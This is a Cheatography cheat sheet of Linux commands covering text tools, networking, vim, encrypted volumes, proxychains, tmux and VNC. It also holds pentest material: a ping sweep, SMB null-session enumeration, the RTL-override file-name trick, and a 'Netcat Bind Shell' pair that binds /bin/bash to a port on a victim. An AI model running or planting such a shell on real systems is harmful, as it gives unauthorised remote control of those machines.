Cheatography

Linux Things I Forget Cheat Sheet

by fred via cheatography.com/22666/cs/9068/

AWK | CAT | GREP

AWK

Find line number of IP

```
awk '/197.128.145.39/{
print NR; exit }' ips.txt
```

CAT

With line numbers

cat -n file.txt

GREP

grep "href=" index.html | cut -d"/" -f3 | grep icq.com | sort -u > icqserver.txt

Count occurences of \x in 1906.py

cat 1906.py | grep -o \x |wc -l

Find line number of IP

grep -n 197.128.145.39 ips.txt

Network

Show all eth network interfaces, e.g. eth0, eth1...

```
dmesg | grep ^eth
```

Restart Networking

```
sudo service network-
manager restart
```

Whatportis

```
pip install whatportis
whatportis 21
```

CIDR Calculation

```
sudo apt-get install
sipcalc
sipcalc 192.168.1.0/24
```

DIFF & NDIFF (File Comparison)

`diff file1 file2` (compare files line by line)

`ndiff file1 file2` (compare 2 nmap scans for changes)

Boot Process

1. Power on
2. BIOS
3. MBR - 1st sector of HDD
4. GRUB
5. Kernel
6. initramfs - Initial RAM disk
7. init - /sbin/init (daemons and services)
8. Command shell using getty
9. GUI - X Windows

Disable services from loading on login

`systemctl disable apache2` (disable apache from auto-starting on boot/login)

Unicode

http://superuser.com/questions/59418/how-to-type-special-characters-in-linux

Example - RTL Override

Hold CTRL+SHIFT+U, then type in 202e

The invisible right-to-left override character will be inserted and anything typed after this character will be backwards.

Command Line Cheatsheet

Create and view interactive cheatsheets on the command-line!

Set editor in path

`nano .bashrc` (in your home directory)

```
export EDITOR="/bin/nano"
```

Install and use cheat

Command Line Cheatsheet (cont)

```
sudo pip install cheat
cheat netstat
```

Cheatsheets are stored in ~/.cheat/

Edit a cheatsheet

```
cheat -e foo
```

ASCII Table & Calculator

`man ascii` (show ascii table)

`bc` (command line calculator)

Permissions

Change ownership

```
sudo chown username
filename
```

Clone ownership

```
chown --
reference=otherfile
thisfile
```

FIND

Case insensitive -iname

```
sudo find -iname
fileorfoldername
sudo find -iname
fileorfoldername*
```

XARGS

Pingsweep

```
echo 192.168.9.{200..250}
| xargs -n 1 -P0 ping -c
1 | grep "bytes from"
```

Run command against files from find

```
find * | xargs exiftool
```

(Run exiftool against all files in current directory and subdirectories)

TREE (Directory Tree)

Show a directory tree

```
tree directoryname
```

Monitoring & Processes

WATCH

`watch ls` (run ls every 2secs)

TOP

`top` (view processes in detail)

`htop` (better alternative)

CRON JOBS

`crontab -e` (list and edit cronjobs)

Generate your crontab line easily: http://crontab-generator.org/

SSL Certificates

Follow instructions at - https://certbot.eff.org/

To generate an auto-renewal cronjob - http://crontab-generator.org/

EXAMPLE:

crontab -e

17 3 * /root/certbot-auto renew --quiet --no-self-upgrade

Hotkeys

Nautilus (Switch views)

CTRL+1

CTRL+2

CTRL+3

CTRL+H (show hidden)

CTRL+L (show location)

Nautilus Graphical Mode Search ALT+F2

Deleted files go to "~/.local/share/Trash/files/"

Delete or CTRL+Delete = Move to Trash

Shift+Delete = Permanent Delete

Cheatography

Linux Things I Forget Cheat Sheet

by fred via cheatography.com/22666/cs/9068/

VI & VIM

I / INS = Insert Mode

SELECTING TEXT

v = select range

V = select entire line

d = delete selected text

COPY/PASTE

y = copy selection

yy = copy line

p = paste before cursor

DELETE

dd = delete line

x = cut selected text

d$ = delete from cursor to end of line

UNDO / REDO

u = undo last action

CTRL+R = redo last action

EXIT

ZZ = save and quit

:w = save

:q! = quit without saving

FIND AND REPLACE

:%s/eth0/br0/g = find eth0 and replace with br0

:%s##blah#g = find and replace with blah

NANO

Copy and Paste

ALT+6 and CTRL+U

Show line numbers

```
nano -c filename
```

Output

To screen and file

```
command1 2>&1 | tee log.txt
ls -al | tee file.txt
```

Append to screen and file

```
command1 | tee -a log.txt
```

Multiple Commands

```
cat rubbish.txt; ls
```

Netcat Bind Shell

Victim

```
nc -lvvp 2345 -e /bin/bash
```

Attacker

```
nc -vn 192.168.1.177 2345
```

Base64 Encode & Decode

```
python "blah".encode('base64') "YXNjaWkxLnR4dA==".decode('base64')
```

Encrypted Volumes

http://askubuntu.com/questions/63594/mount-encrypted-volumes-from-command-line#63598

```
sudo apt-get install cryptsetup
```

Decrypt & Mount

```
sudo cryptsetup luksOpen /dev/sda1 my_encrypted_volume
sudo mkdir /media/my_device
sudo mount /dev/mapper/my_encrypted_volume /media/my_device
```

Unmount & Lock

```
sudo umount /media/my_device
sudo cryptsetup luksClose my_encrypted_volume
```

Auto-mount to Location

```
sudo udisks --mount /dev/mapper/my_encrypted_volume
```

IP Assignment

MANUAL

Note: Changes are nonpersistent. To make changes permanent, edit /etc/network/interfaces file.

`ifconfig eth0 192.168.72.100/24` (configure IP)

`route add default gw 192.168.72.2` (add gateway)

`echo nameserver 4.2.2.2 > etc/resolv.conf` (add DNS to resolv.conf)

AUTO

```
dhclient eth0
ifconfig
killall dhclient
ps -ef | grep dhclient
```

Proxychains

http://proxychains.sourceforge.net/howto.html

`/etc/proxychains.conf` (usage info)

`proxychains firefox google.com`

Resolve google.com through proxy specified by proxychains.conf

SMB (Samba, NETBIOS)

RPCClient

http://carnal0wnage.attackresearch.com/2010/06/more-with-rpcclient.html

```
enum4linux -U -o 192.168.1.200
```

SMBClient

`smbclient -L //TARGETIP` (list shares)

`smbclient //TARGETIP/tmp` (connect to tmp folder)

SMB (Samba, NETBIOS) (cont)

`smbclient -I 192.168.92.131 -R virnet.com -N -U` (capital i, -R = domain, -N = no pass, -U = user)

TMUX

https://danielmiessler.com/study/tmux/

```
ssh blah@x.x.x.x
tmux
nmap -A etc...
```

CTRL+B, D (to exit and keep session running)

If the session dies

```
ssh blah@x.x.x.x
```

`tmux attach` (to connect to first available session)

VNC Server

```
apt-get install tightvncserver
vncserver
```

You will require a password to access your desktops...

View only password? n

```
netstat -antp | grep vnc
```

(usually runs on port 5901)